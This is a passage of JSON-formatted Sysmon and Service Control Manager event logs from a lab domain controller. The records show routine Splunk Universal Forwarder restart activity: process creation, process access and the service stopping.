ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00108C0A0500}","TargetProcessId":"812","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.840\r\nProcessGuid: {90617006-407A-5F2D-0000-00104D0D0500}\r\nProcessId: 4688\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list httpServerListener: --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nParentProcessId: 4644\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.840","ProcessGuid":"{90617006-407A-5F2D-0000-00104D0D0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list httpServerListener: --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","ParentProcessId":"4644","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00104D0D0500}\r\nTargetProcessId: 4688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+13ac4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+12176|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+19082|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d94e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-407A-5F2D-0000-00104D0D0500}","TargetProcessId":"4688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+13ac4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+12176|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+19082|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d94e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00104D0D0500}\r\nTargetProcessId: 4688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00104D0D0500}","TargetProcessId":"4688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76837,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The SplunkForwarder Service service entered the stopped state.","param1":"SplunkForwarder Service","param2":"stopped","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76838,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The SplunkForwarder Service service entered the stopped state.","param1":"SplunkForwarder Service","param2":"stopped","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 